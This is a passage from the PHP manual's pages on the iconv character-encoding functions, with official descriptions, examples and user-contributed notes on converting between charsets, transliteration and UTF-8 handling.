    $chars = preg_split("//",$utf8);
    for ($i=1; $i<count($chars)-1; $i++) {
        $prefix = ord($chars[$i]);
        $suffix = ord($chars[$i+1]);
        //print ("<p>$prefix $suffix");
        if ($prefix==215) {
            $windows1255 .= chr($suffix+80);
            $i++;
        }
        elseif ($prefix==214) {
            $windows1255 .= chr($suffix+16);
            $i++;
        }
        else {
            $windows1255 .= $chars[$i];
        }
    }
    return $windows1255;
}
?>
Fabian Ketchup 13-Sep-2006 06:00
// Simple file translation.

$FileToconvert = "menu.xml";
$FileConverted = "menu2.xml";

echo "Converting $FileToconvert ...";

file_put_contents($FileConverted, iconv("ISO-8859-1","UTF-8",file_get_contents($FileToconvert)));

echo "File converted in $FileConverted";
nod at mobi dot kz 17-Jul-2006 07:17
If you need convert string from Windows-1251 to 866. Some characters of 1251 haven't representation on DOS 866. For example, long dash -- chr(150) will be converted to 0, after that iconv finish his work and other charactes  will be skiped. Problem characters range in win1251 (128-159,163,165-167,169,171-174,177-182,187-190).

Use this:

//$text  -  input text in windows-1251
//$cout  -  output text in 866 (cp866, dos ru ascii)

for($i=0;$i<strlen($text);$i++) {
    $ord=ord($text[$i]);
    if($ord>=192&&$ord<=239) $cout.=chr($ord-64);
    elseif($ord>=240&&$ord<=255) $cout.=chr($ord-16);
    elseif($ord==168) $cout.=chr(240);
    elseif($ord==184) $cout.=chr(241);
    elseif($ord==185) $cout.=chr(252);
    elseif($ord==150||$ord==151) $cout.=chr(45);
    elseif($ord==147||$ord==148||$ord==171||$ord==187) $cout.=chr(34);
    elseif($ord>=128&&$ord<=190) $i=$i; //нет представления данному символу
    else $cout.=chr($ord);
}
andrej009 16-Mar-2006 04:22
There's one more special german character: ß (sometimes displayed as Ϋ)

so: case 159: $out .= "ß";break;
08-Nov-2005 12:05
But this is a very slow method to convert this:

// function to change german umlauts into ue, oe, etc.
function cv_input($str){

Better try this:
$tr = array(chr(xyz) => '�', chr(160) => ' '); // Just a simple example, put all your characters in there
$string = strtr($string, $tr);
Christophe Lienert 27-Sep-2005 02:09
In addition to Godfather's note below, you may find this function useful just as well.

// function to change german umlauts into ue, oe, etc.
function cv_input($str){
      $out = "";
      for ($i = 0; $i<strlen($str);$i++){
           $ch= ord($str{$i});
           switch($ch){
                case 195: $out .= "";break;
                case 164: $out .= "ae"; break;
                case 188: $out .= "ue"; break;
                case 182: $out .= "oe"; break;
                case 132: $out .= "Ae"; break;
                case 156: $out .= "Ue"; break;
                case 150: $out .= "Oe"; break;
                default : $out .= chr($ch) ;
           }
      }
      return $out;
}
The Godfather 15-Dec-2004 05:36
With this function you can translate the german Symbols from the character set UTF-8 in windows-1252.

function convert_text($str){
  $out = '';
  for ($i = 0; $i<strlen($str);$i++){
   $ch = ord($str{$i});
   switch($ch){
         case 252: $out .= chr(129);break; //u Umlaut
         case 220: $out .= chr(154);break;//U Umlaut
         case 228: $out .= chr(132);break;//a Umlaut
         case 196: $out .= chr(142);break;//A Umlaut
         case 214: $out .= chr(153);break;//O Umlaut
         case 246: $out .= chr(148);break;//o Umlaug
         case 223: $out .= chr(225);break;//SZ
         default : $out .= chr($ch) ;
   }
  }
  return $out;
}
tokiee at hotmail dot com 19-Aug-2004 01:40
iconv now has been built-in, at least in PHP >= 5.0.1 for win32. You don't have to modify php.ini for this. Actually you should not. And clearly, libiconv does not need to be installed.
thierry.bo 23-Dec-2003 02:26
Windows users.

Personaly I leaved all php dlls in \php\dlls\ directory, just adding this path to my system path, and iconv.dll supplied with php 4.3.2 works fine, also leaving supplied php_iconv.dll in my \php\extensions\ directory. This was working fine with Apache and Omnihttpd server I use.

As soon I installed IIS on the same server, php complained about not finding php_iconv.dll in the extensions directory. In fact PHP with IIS loads all extensions in my \php\extensions directory correctly, except php_iconv.dll.
Although iconv.dll is in my system path, the only way to load php_iconv.dll was to copy iconv.dll file in \%winnt\system32 directory. With other servers, iconv.dll can be in anywhere in the system path.
13-Sep-2002 05:23
I'm not sure how recent version of
glibc 2.x Slackware 7.x/8.x comes with, but
it's very likely that it comes with glibc 2.2.x.
In that case, you don't have to bother at all to
install libiconv in /usr/local. iconv(3) in glibc 2.2.x
is very good (thanks to Ulrich Drepper and
Bruno Haible. the latter is the author of libiconv).
libiconv is very handy for those outdated/non-standard-compliant Unix
and non-Unix systems that don't have
sufficiently good iconv(3) in their C library.
elk at NOSPAMmodel-fx dot com 25-Jul-2002 08:39
To compile libiconv under Slackware 7.0 or 8.0 without errors (either with the apache module of PHP or the CGI version), you must specify the full path of the libiconv installation.

Exemple :

       --with-iconv=/usr/local
Predefined Constants
iconv_get_encoding
iconv


Retrieve internal configuration variables of iconv extension

iconv Functions
iconv_mime_decode_headers
iconv Functions
PHP Manual

iconv_get_encoding

(PHP 4 >= 4.0.5, PHP 5)

iconv_get_encoding — Retrieve internal configuration variables of iconv extension

Description

mixed iconv_get_encoding ([ string $type = "all" ] )

Retrieve internal configuration variables of iconv extension.

Parameters

type

The value of the optional type can be:

  • all
  • input_encoding
  • output_encoding
  • internal_encoding

Return Values

Returns the current value of the internal configuration variable if successful or FALSE on failure.

If type is omitted or set to "all", iconv_get_encoding() returns an array that stores all these variables.

Examples

Example #1 iconv_get_encoding() example

<pre>
<?php
iconv_set_encoding("internal_encoding", "UTF-8");
iconv_set_encoding("output_encoding", "ISO-8859-1");
var_dump(iconv_get_encoding('all'));
?>
</pre>

The above example will output:

Array
(
    [input_encoding] => ISO-8859-1
    [output_encoding] => ISO-8859-1
    [internal_encoding] => UTF-8
)

See Also

  • iconv_set_encoding() - Set current setting for character encoding conversion
  • ob_iconv_handler() - Convert character encoding as output buffer handler

User Contributed Notes

There are no user contributed notes for this page.
iconv Functions
iconv_mime_decode_headers
iconv Functions


Decodes multiple MIME header fields at once

iconv_get_encoding
iconv_mime_decode
iconv Functions
PHP Manual

iconv_mime_decode_headers

(PHP 5)

iconv_mime_decode_headers — Decodes multiple MIME header fields at once

Description

array iconv_mime_decode_headers ( string $encoded_headers [, int $mode = 0 [, string $charset = ini_get("iconv.internal_encoding") ]] )

Decodes multiple MIME header fields at once.

Parameters

encoded_headers

The encoded headers, as a string.

mode

mode determines the behaviour in the event iconv_mime_decode_headers() encounters a malformed MIME header field. You can specify any combination of the following bitmasks.

Bitmasks acceptable to iconv_mime_decode_headers()
Value | Constant | Description
1 | ICONV_MIME_DECODE_STRICT | If set, the given header is decoded in full conformance with the standards defined in » RFC2047. This option is disabled by default because there are a lot of broken mail user agents that don't follow the specification and don't produce correct MIME headers.
2 | ICONV_MIME_DECODE_CONTINUE_ON_ERROR | If set, iconv_mime_decode_headers() attempts to ignore any grammatical errors and continue to process a given header.

charset

The optional charset parameter specifies the character set to represent the result by. If omitted, iconv.internal_encoding will be used.

Return Values

Returns an associative array that holds a whole set of MIME header fields specified by encoded_headers on success, or FALSE if an error occurs during the decoding.

Each key of the return value represents an individual field name and the corresponding element represents a field value. If more than one field of the same name are present, iconv_mime_decode_headers() automatically incorporates them into a numerically indexed array in the order of occurrence.

Examples

Example #1 iconv_mime_decode_headers() example

<?php
$headers_string = <<<EOF
Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=
To: example@example.com
Date: Thu, 1 Jan 1970 00:00:00 +0000
Message-Id: <example@example.com>
Received: from localhost (localhost [127.0.0.1]) by localhost
    with SMTP id example for <example@example.com>;
    Thu, 1 Jan 1970 00:00:00 +0000 (UTC)
    (envelope-from example-return-0000-example=example.com@example.com)
Received: (qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000

EOF;

$headers =  iconv_mime_decode_headers($headers_string, 0, "ISO-8859-1");
print_r($headers);
?>

The above example will output:

Array
(
    [Subject] => Prüfung Prüfung
    [To] => example@example.com
    [Date] => Thu, 1 Jan 1970 00:00:00 +0000
    [Message-Id] => <example@example.com>
    [Received] => Array
        (
            [0] => from localhost (localhost [127.0.0.1]) by localhost with SMTP id example for <example@example.com>; Thu, 1 Jan 1970 00:00:00 +0000 (UTC) (envelope-from example-return-0000-example=example.com@example.com)
            [1] => (qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000
        )

)

See Also

  • iconv_mime_decode() - Decodes a MIME header field
  • mb_decode_mimeheader() - Decode string in MIME header field
  • imap_mime_header_decode() - Decode MIME header elements
  • imap_base64() - Decode BASE64 encoded text
  • imap_qprint() - Convert a quoted-printable string to an 8 bit string

User Contributed Notes

TheConstructor 12-Jul-2010 12:07
If you need lower-case header-names (as I read the documentation case is not guranteed) try something like

<?php

$headers_string = <<<EOF
Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=
To: example@example.com
Date: Thu, 1 Jan 1970 00:00:00 +0000
Message-Id: <example@example.com>
Received: from localhost (localhost [127.0.0.1]) by localhost
    with SMTP id example for <example@example.com>;
    Thu, 1 Jan 1970 00:00:00 +0000 (UTC)
    (envelope-from example-return-0000-example=example.com@example.com)
Received: (qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000

EOF;

$headers =  iconv_mime_decode_headers($headers_string, 0, "ISO-8859-1");

$headers = array_combine(array_map("strtolower", array_keys($headers)), array_values($headers));

print_r($headers);
?>
iconv_get_encoding
iconv_mime_decode
iconv Functions


Decodes a MIME header field

iconv_mime_decode_headers
iconv_mime_encode
iconv Functions
PHP Manual

iconv_mime_decode

(PHP 5)

iconv_mime_decode — Decodes a MIME header field

Description

string iconv_mime_decode ( string $encoded_header [, int $mode = 0 [, string $charset = ini_get("iconv.internal_encoding") ]] )

Decodes a MIME header field.

Parameters

encoded_header

The encoded header, as a string.

mode

mode determines the behaviour in the event iconv_mime_decode() encounters a malformed MIME header field. You can specify any combination of the following bitmasks.

Bitmasks acceptable to iconv_mime_decode()
Value | Constant | Description
1 | ICONV_MIME_DECODE_STRICT | If set, the given header is decoded in full conformance with the standards defined in » RFC2047. This option is disabled by default because there are a lot of broken mail user agents that don't follow the specification and don't produce correct MIME headers.
2 | ICONV_MIME_DECODE_CONTINUE_ON_ERROR | If set, iconv_mime_decode_headers() attempts to ignore any grammatical errors and continue to process a given header.

charset

The optional charset parameter specifies the character set to represent the result by. If omitted, iconv.internal_encoding will be used.

Return Values

Returns a decoded MIME field on success, or FALSE if an error occurs during the decoding.

Examples

Example #1 iconv_mime_decode() example

<?php
// This yields "Subject: Prüfung Prüfung"
echo iconv_mime_decode("Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=",
                       0, "ISO-8859-1");
?>

See Also

  • iconv_mime_decode_headers() - Decodes multiple MIME header fields at once
  • mb_decode_mimeheader() - Decode string in MIME header field
  • imap_mime_header_decode() - Decode MIME header elements
  • imap_base64() - Decode BASE64 encoded text
  • imap_qprint() - Convert a quoted-printable string to an 8 bit string

User Contributed Notes

dido dot sevilla at gmail dot com 09-Mar-2005 08:00
In PHP versions that have imap_mime_decode built in, it's possible to emulate the operation of this function:

<?php
function iconv_mime_decode($str, $mode=0, $charset="UTF-8")
{
    $data = imap_mime_header_decode($str);
    if (count($data) > 0) {
      // because iconv doesn't like the 'default' for charset
      $charset = ($data[0]->charset == 'default') ? 'ASCII' : $data[0]->charset;
      return(iconv($charset, $charset, $data[0]->text));
    }
    return("");
 }
?>

I've only tried to use this code snippet to decode ISO-2022-JP messages to UTF-8, but I see no reason why it shouldn't work in other cases.
iconv_mime_decode_headers
iconv_mime_encode
iconv Functions


Composes a MIME header field

iconv_mime_decode
iconv_set_encoding
iconv Functions
PHP Manual

iconv_mime_encode

(PHP 5)

iconv_mime_encode — Composes a MIME header field

Description

string iconv_mime_encode ( string $field_name , string $field_value [, array $preferences = NULL ] )

Composes and returns a string that represents a valid MIME header field, which looks like the following:

Subject: =?ISO-8859-1?Q?Pr=FCfung_f=FCr?= Entwerfen von einer MIME kopfzeile
In the above example, "Subject" is the field name and the portion that begins with "=?ISO-8859-1?..." is the field value.

Parameters

field_name

The field name.

field_value

The field value.

preferences

You can control the behaviour of iconv_mime_encode() by specifying an associative array that contains configuration items to the optional third parameter preferences. The items supported by iconv_mime_encode() are listed below. Note that item names are treated case-sensitive.

Configuration items supported by iconv_mime_encode()
Item | Type | Description | Default value | Example
scheme | string | Specifies the method to encode a field value by. The value of this item may be either "B" or "Q", where "B" stands for base64 encoding scheme and "Q" stands for quoted-printable encoding scheme. | B | B
input-charset | string | Specifies the character set in which the first parameter field_name and the second parameter field_value are presented. If not given, iconv_mime_encode() assumes those parameters are presented to it in the iconv.internal_encoding ini setting. | iconv.internal_encoding | ISO-8859-1
output-charset | string | Specifies the character set to use to compose the MIME header. | iconv.internal_encoding | UTF-8
line-length | integer | Specifies the maximum length of the header lines. The resulting header is "folded" to a set of multiple lines in case the resulting header field would be longer than the value of this parameter, according to » RFC2822 - Internet Message Format. If not given, the length will be limited to 76 characters. | 76 | 996
line-break-chars | string | Specifies the sequence of characters to append to each line as an end-of-line sign when "folding" is performed on a long header field. If not given, this defaults to "\r\n" (CR LF). Note that this parameter is always treated as an ASCII string regardless of the value of input-charset. | \r\n | \n

Return Values

Returns an encoded MIME field on success, or FALSE if an error occurs during the encoding.

Examples

Example #1 iconv_mime_encode() example

<?php
$preferences = array(
    "input-charset" => "ISO-8859-1",
    "output-charset" => "UTF-8",
    "line-length" => 76,
    "line-break-chars" => "\n"
);
$preferences["scheme"] = "Q";
// This yields "Subject: =?UTF-8?Q?Pr=C3=BCfung=20Pr=C3=BCfung?="
echo iconv_mime_encode("Subject", "Prüfung Prüfung", $preferences);

$preferences["scheme"] = "B";
// This yields "Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?="
echo iconv_mime_encode("Subject", "Prüfung Prüfung", $preferences);
?>

See Also

  • imap_binary() - Convert an 8bit string to a base64 string
  • mb_encode_mimeheader() - Encode string for MIME header
  • imap_8bit() - Convert an 8bit string to a quoted-printable string
  • quoted_printable_encode() - Convert a 8 bit string to a quoted-printable string

User Contributed Notes

markus AT birth MINUS online DOT de 19-May-2010 05:38
Looks like this function suffers from the same bug as mb_encode_mime() with long strings of non us-ascii characters. The function then returns false. This applies for utf-8 to utf-8 "conversion".

<?php
$subject = 'Вы находитесь здесь: Главная > продукт';

$prefs = array(
    'scheme' => 'Q',
    'input-charset' => 'UTF-8',
    'output-charset' => 'UTF-8',
    'line-length' => 76,
    'line-break-chars' => "\r\n",
);

echo 'Original: ' . $subject . PHP_EOL;
$enc = iconv_mime_encode( 'Subject', $subject, $prefs );
var_dump( $enc );  // will show bool(false)
?>

As a workaround, you could explode() the value on spaces and encode each word separately. Then remove the "Subject: " in front of the resulting strings and join() them with "\r\n " (don't forget the SPACE after the \n) as separator.
iconv_mime_decode
iconv_set_encoding
iconv Functions


Set current setting for character encoding conversion

iconv_mime_encode
iconv_strlen
iconv Functions
PHP Manual

iconv_set_encoding

(PHP 4 >= 4.0.5, PHP 5)

iconv_set_encoding — Set current setting for character encoding conversion

Description

bool iconv_set_encoding ( string $type , string $charset )

Changes the value of the internal configuration variable specified by type to charset.

Parameters

type

The value of type can be any one of those:

  • input_encoding
  • output_encoding
  • internal_encoding

charset

The character set.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 iconv_set_encoding() example

<?php
iconv_set_encoding("internal_encoding", "UTF-8");
iconv_set_encoding("output_encoding", "ISO-8859-1");
?>

See Also

  • iconv_get_encoding() - Retrieve internal configuration variables of iconv extension
  • ob_iconv_handler() - Convert character encoding as output buffer handler

User Contributed Notes

pasamio at gmail dot com 03-Jan-2008 11:18
On PHP 5.2.5 when iconv.*_encoding values are set using php_admin_value in the Apache configuration file, this call will fail and return false.
iconv_mime_encode
iconv_strlen
iconv Functions


Returns the character count of string

iconv_set_encoding
iconv_strpos
iconv Functions
PHP Manual

iconv_strlen

(PHP 5)

iconv_strlen — Returns the character count of string

Description

int iconv_strlen ( string $str [, string $charset = ini_get("iconv.internal_encoding") ] )

In contrast to strlen(), iconv_strlen() counts the occurrences of characters in the given byte sequence str on the basis of the specified character set, the result of which is not necessarily identical to the length of the string in byte.

Parameters

str

The string.

charset

If charset parameter is omitted, str is assumed to be encoded in iconv.internal_encoding.

Return Values

Returns the character count of str, as an integer.

See Also

  • strlen() - Get string length
  • mb_strlen() - Get string length

User Contributed Notes

hfuecks @ nospam org 24-Feb-2006 04:58
If iconv_strlen is passed a UTF-8 string containing badly formed sequences, it will return FALSE. This is in contrast to mb_strlen of the behaviour of utf8_decode, which strip out any bad sequences;

<?php
# UTF-8 string containing bad sequence: \xe9
$str = "Iñtërnâtiôn\xe9àlizætiøn";

print "mb_strlen: ".mb_strlen($str,'UTF-8')."\n";
print "strlen/utf8_decode: ".strlen(utf8_decode($str))."\n";
print "iconv_strlen: ".iconv_strlen($str,'UTF-8')."\n";
?>

Displays;

mb_strlen: 20
strlen/utf8_decode: 20
iconv_strlen:

(PHP 5.0.5)

As such it is being "stricter" than mb_strlen and it may mean you need to check for invalid sequences first. A quick way to check is to exploit the behaviour of the PCRE extension (see notes on pattern modifiers);

<?php
if (preg_match('/^.{1}/us',$str,$ar) != 1) {
    die("string contains invalid UTF-8");
}
?>

A slower but stricter check (regex) can be found at: http://www.w3.org/International/questions/qa-forms-utf-8

Similiar applies to iconv_substr, iconv_strpos and iconv_strrpos
iconv_set_encoding
iconv_strpos
iconv Functions


Finds position of first occurrence of a needle within a haystack

iconv_strlen
iconv_strrpos
iconv Functions
PHP Manual

iconv_strpos

(PHP 5)

iconv_strpos — Finds position of first occurrence of a needle within a haystack

Description

int iconv_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $charset = ini_get("iconv.internal_encoding") ]] )

Finds position of first occurrence of a needle within a haystack.

In contrast to strpos(), the return value of iconv_strpos() is the number of characters that appear before the needle, rather than the offset in bytes to the position where the needle has been found. The characters are counted on the basis of the specified character set charset.

Parameters

haystack

The entire string.

needle

The searched substring.

offset

The optional offset parameter specifies the position from which the search should be performed.

charset

If charset parameter is omitted, string are assumed to be encoded in iconv.internal_encoding.

If haystack or needle is not a string, it is converted to a string and applied as the ordinal value of a character.

Return Values

Returns the numeric position of the first occurrence of needle in haystack.

If needle is not found, iconv_strpos() will return FALSE.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

See Also

  • strpos() - Find the position of the first occurrence of a substring in a string
  • iconv_strrpos() - Finds the last occurrence of a needle within a haystack
  • mb_strpos() - Find position of first occurrence of string in a string

User Contributed Notes

There are no user contributed notes for this page.
iconv_strlen
iconv_strrpos
iconv Functions


Finds the last occurrence of a needle within a haystack

iconv_strpos
iconv_substr
iconv Functions
PHP Manual

iconv_strrpos

(PHP 5)

iconv_strrpos — Finds the last occurrence of a needle within a haystack

Description

int iconv_strrpos ( string $haystack , string $needle [, string $charset = ini_get("iconv.internal_encoding") ] )

Finds the last occurrence of a needle within a haystack.

In contrast to strrpos(), the return value of iconv_strrpos() is the number of characters that appear before the needle, rather than the offset in bytes to the position where the needle has been found. The characters are counted on the basis of the specified character set charset.

Parameters

haystack

The entire string.

needle

The searched substring.

charset

If charset parameter is omitted, string are assumed to be encoded in iconv.internal_encoding.

If haystack or needle is not a string, it is converted to a string and applied as the ordinal value of a character.

Return Values

Returns the numeric position of the last occurrence of needle in haystack.

If needle is not found, iconv_strrpos() will return FALSE.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

See Also

  • strrpos() - Find the position of the last occurrence of a substring in a string
  • iconv_strpos() - Finds position of first occurrence of a needle within a haystack
  • mb_strrpos() - Find position of last occurrence of a string in a string

User Contributed Notes

There are no user contributed notes for this page.
iconv_strpos
iconv_substr
iconv Functions


Cut out part of a string

iconv_strrpos
iconv
iconv Functions
PHP Manual

iconv_substr

(PHP 5)

iconv_substr — Cut out part of a string

Description

string iconv_substr ( string $str , int $offset [, int $length = iconv_strlen($str, $charset) [, string $charset = ini_get("iconv.internal_encoding") ]] )

Cuts a portion of str specified by the offset and length parameters.

Parameters

str

The original string.

offset

If offset is non-negative, iconv_substr() cuts the portion out of str beginning at offset'th character, counting from zero.

If offset is negative, iconv_substr() cuts out the portion beginning at the position, offset characters away from the end of str.

length

If length is given and is positive, the return value will contain at most length characters of the portion that begins at offset (depending on the length of string).

If negative length is passed, iconv_substr() cuts the portion out of str from the offset'th character up to the character that is length characters away from the end of the string. In case offset is also negative, the start position is calculated beforehand according to the rule explained above.

charset

If charset parameter is omitted, string are assumed to be encoded in iconv.internal_encoding.

Note that offset and length parameters are always deemed to represent offsets that are calculated on the basis of the character set determined by charset, whilst the counterpart substr() always takes these for byte offsets.

Return Values

Returns the portion of str specified by the offset and length parameters.

If str is shorter than offset characters long, FALSE will be returned.

See Also

  • substr() - Return part of a string
  • mb_substr() - Get part of string
  • mb_strcut() - Get part of string

User Contributed Notes

doru87 at gmail dot com 21-Jan-2010 05:29
just fyi, iconv_substr() unknown error (0) has been resolved in PHP 5.2

you can also try mb_substr() or just substr() when dealing with this issue. Unfortunately there is no way to fix it in versions prior to 5.2.

Regards,
Teodor Sandu
qbolec at terra dot es 25-May-2007 02:07
<?=
iconv_substr("A",0,1);
?>
generates folowing error:
Notice: iconv_substr() [function.iconv-substr]: Unknown error (0) in [...]

while, <?= iconv_substr("AB",0,1) ?> and <?= iconv_substr("AB",0,2) ?>
work as expected.
iconv_strrpos
iconv
iconv Functions


Convert string to requested character encoding

iconv_substr
ob_iconv_handler
iconv Functions
PHP Manual

iconv

(PHP 4 >= 4.0.5, PHP 5)

iconv — Convert string to requested character encoding

Description

string iconv ( string $in_charset , string $out_charset , string $str )

Performs a character set conversion on the string str from in_charset to out_charset.

Parameters

in_charset

The input charset.

out_charset

The output charset.

If you append the string //TRANSLIT to out_charset transliteration is activated. This means that when a character can't be represented in the target charset, it can be approximated through one or several similarly looking characters. If you append the string //IGNORE, characters that cannot be represented in the target charset are silently discarded. Otherwise, str is cut from the first illegal character and an E_NOTICE is generated.

str

The string to be converted.

Return Values

Returns the converted string or FALSE on failure.

Examples

Example #1 iconv() example

<?php
$text = "This is the Euro symbol '€'.";

echo 'Original : ', $text, PHP_EOL;
echo 'TRANSLIT : ', iconv("UTF-8", "ISO-8859-1//TRANSLIT", $text), PHP_EOL;
echo 'IGNORE   : ', iconv("UTF-8", "ISO-8859-1//IGNORE", $text), PHP_EOL;
echo 'Plain    : ', iconv("UTF-8", "ISO-8859-1", $text), PHP_EOL;

?>

The above example will output something similar to:

Original : This is the Euro symbol '€'.
TRANSLIT : This is the Euro symbol 'EUR'.
IGNORE   : This is the Euro symbol ''.
Plain    :
Notice: iconv(): Detected an illegal character in input string in .\iconv-example.php on line 7
This is the Euro symbol '

User Contributed Notes

daniel dot rhodes at warpasylum dot co dot uk 23-Aug-2011 08:22
Interestingly, setting different target locales results in different, yet appropriate, transliterations. For example:

<?php
//some German
$utf8_sentence = 'Weiß, Goldmann, Göbel, Weiss, Göthe, Goethe und Götz';

//UK
setlocale(LC_ALL, 'en_GB');

//transliterate
$trans_sentence = iconv('UTF-8', 'ASCII//TRANSLIT', $utf8_sentence);

//gives [Weiss, Goldmann, Gobel, Weiss, Gothe, Goethe und Gotz]
//which is our original string flattened into 7-bit ASCII as
//an English speaker would do it (ie. simply remove the umlauts)
echo $trans_sentence . PHP_EOL;

//Germany
setlocale(LC_ALL, 'de_DE');

$trans_sentence = iconv('UTF-8', 'ASCII//TRANSLIT', $utf8_sentence);

//gives [Weiss, Goldmann, Goebel, Weiss, Goethe, Goethe und Goetz]
//which is exactly how a German would transliterate those
//umlauted characters if forced to use 7-bit ASCII!
//(because really ä = ae, ö = oe and ü = ue)
echo $trans_sentence . PHP_EOL;

?>
wembaster at mp3s dot pl 06-Jun-2011 01:21
If you want to export some utf-8 data into csv/tsv that will be readable by excel with correct encoding you must add special non vissable characters at the begining of file

<?php

$data = "Some utf-8 characters ąćżźćł"

header("Content-Type: application/octet-stream");
header("Content-Transfer-Encoding: binary");
header('Expires: '.gmdate('D, d M Y H:i:s').' GMT');
header('Content-Disposition: attachment; filename = "Export '.date("Y-m-d").'.tsv"');
header('Pragma: no-cache');

//these characters will make correct encoding to excel
echo chr(255).chr(254).iconv("UTF-8", "UTF-16LE//IGNORE", $data);

?>
marc at NOSPAM dot leftek dot com 06-May-2011 10:02
A simple cleaning function [eg: iconv("UTF-8","UTF-8//IGNORE", $s)] may not be enough when receiving UTF8 input that needs to be saved in MySQL.  Prior to MySQL v5.5 four byte sequences were not supported so a function is needed to strip these out as well:

<?php
            for($pos=strlen($strUtf8)-1; $pos >= 0 ; $pos--){
                $char = substr($strUtf8, $pos, 1);
                if (ord($char) > 0xEF) $strUtf8 = substr($strUtf8, 0, $pos).substr($strUtf8, $pos+1);
            }
?>
perhydrol dot pl at gmail dot com 18-Jan-2011 02:20
I needed a method for recursive iconv. I didn't find one, so wrote it myself and I'd like to share it. Mabye someone will need it.

<?php
public function recursive_iconv(string $in_charset, string $out_charset, $arr){
        if (!is_array($arr)){
            return iconv($in_charset, $out_charset, $arr);
        }
        $ret = $arr;
        function array_iconv(&$val, $key, $userdata){
            $val = iconv($userdata[0], $userdata[1], $val);
        }
        array_walk_recursive($ret, "array_iconv", array($in_charset, $out_charset));
        return $ret;
    }
?>
ameten 14-Jan-2011 04:17
I have used iconv to convert from cp1251 into UTF-8. I spent a day to investigate why a string with Russian capital 'Р' (sounds similar to 'r') at the end cannot be inserted into a database.

The problem is not in iconv. But 'Р' in cp1251 is chr(208) and 'Р' in UTF-8 is chr(208).chr(106). chr(106) is one of the space symbol which match '\s' in regex. So, it can be taken by a greedy '+' or '*' operator. In that case, you loose 'Р' in your string.

For example, 'ГР   ' (Russian, UTF-8). Function preg_match. Regex is '(.+?)[\s]*'. Then '(.+?)' matches 'Г'.chr(208) and '[\s]*' matches chr(106).'   '.

Although, it is not a bug of iconv, but it looks like it very much. That's why I put this comment here.
OsamaBinLogin 14-Oct-2010 09:47
I was trying to convert utf8 to ascii like everybody else.  It worked fine in PHP5.3 on mac, but something was wrong on PHP5.2.6 on Linux, our server.  iConv refused to generate, eg e for ê and stuff; I always got ?.   This is of course the fault of the underlying iconv in the system.  I finally just made my own UTF8 untangler and lookup table; it's only 96 chars and I typed it in.  Didn't need anything past Latin 1.  No iconv needed, no test is this mac/linux, simple for my simple purposes.
vb (at) bertola.eu 15-Jul-2010 06:35
On my system, according to tests, and also as reported by other people elsewhere, you can combine TRANSLIT and IGNORE only by appending

//IGNORE//TRANSLIT

strictly in that order, but NOT by appending //TRANSLIT//IGNORE, which would lead to //IGNORE being ignored ( :) ).

Anyway, it's hard to understand how one could devise a system of passing options that does not allow to couple both options in a neat manner, and also to understand why the default behaviour should be the less useful and most dangerous one (throwing away most of your data at the first unexpected character). Software design FAIL :-/
Anonymous 18-Jan-2010 11:37
For text with special characters such as (é) &eacute; which appears at 0xE9 in the ISO-8859-1 and at 0x82 in IBM-850. The correct output character set is 'IBM850' as:
('ISO-8859-1', 'IBM850', 'Québec')
Dmitri Snytkine cms.lampcms.com 24-Dec-2009 10:32
Be careful with //TRANSLIT//IGNORE option.

While it may have worked for some people, it failed miserably in my situation. The iconv() stopped at the first illegar char, cutting off the string right there, which is the default behaviour of iconv(), so it did not respect the //IGNORE switch after the //TRANSLIT

When I used only the //IGNORE switch, it did work properly, just the illegal characters were dropped.

It may be the case when the result depends on the version of iconv or maybe even version of php

Just don't assume that //TRANSLIT//IGNORE will work together all the time because it does not.
finster at gmail dot com 03-Dec-2009 01:48
I had a situation where I needed some characters transliterated, but the others ignored (for weird diacritics like ayn or hamza).

Adding //TRANSLIT//IGNORE seemed to do the trick for me.

It transliterates everything that is able to be transliterated, but then throws out stuff that can't be.

So:

<?php
$string = "ʿABBĀSĀBĀD";

echo iconv('UTF-8', 'ISO-8859-1//TRANSLIT', $string);
// output: [nothing, and you get a notice]

echo iconv('UTF-8', 'ISO-8859-1//IGNORE', $string);
// output: ABBSBD

echo iconv('UTF-8', 'ISO-8859-1//TRANSLIT//IGNORE', $string);
// output: ABBASABAD
// Yay! That's what I wanted!

?>
Andries Seutens 07-Nov-2009 11:38
When doing transliteration, you have to make sure that your LC_COLLATE is properly set, otherwise the default POSIX will be used.

To transform "rené" into "rene" we could use the following code snippet:

<?php

setlocale(LC_CTYPE, 'nl_BE.utf8');

$string = 'rené';
$string = iconv('UTF-8', 'ASCII//TRANSLIT', $string);

echo $string; // outputs rene

?>
annuaireehtp at gmail dot com 14-Oct-2009 04:53
to test different combinations of convertions between charsets (when we don't know the source charset and what is the convenient destination charset) this is an example :

<?php
$tab = array("UTF-8", "ASCII", "Windows-1252", "ISO-8859-15", "ISO-8859-1", "ISO-8859-6", "CP1256");
$chain = "";
foreach ($tab as $i)
    {
        foreach ($tab as $j)
        {
            $chain .= " $i$j ".iconv($i, $j, "$my_string");
        }
    }

echo $chain;
?>

then after displaying, you use the $i$j that shows good displaying.
NB: you can add other charsets to $tab  to test other cases.
phpmanualspam at netebb dot com 17-Sep-2009 11:53
mirek code, dated 16-May-2008 10:17, added the characters `^~'" to the output.
This function will strip out these extra characters:
<?php
setlocale(LC_ALL, 'en_US.UTF8');
function clearUTF($s)
{
    $r = '';
    $s1 = @iconv('UTF-8', 'ASCII//TRANSLIT', $s);
    $j = 0;
    for ($i = 0; $i < strlen($s1); $i++) {
        $ch1 = $s1[$i];
        $ch2 = @mb_substr($s, $j++, 1, 'UTF-8');
        if (strstr('`^~\'"', $ch1) !== false) {
            if ($ch1 <> $ch2) {
                --$j;
                continue;
            }
        }
        $r .= ($ch1=='?') ? $ch2 : $ch1;
    }
    return $r;
}
?>
martin at front of mind dot co dot uk 29-May-2009 03:33
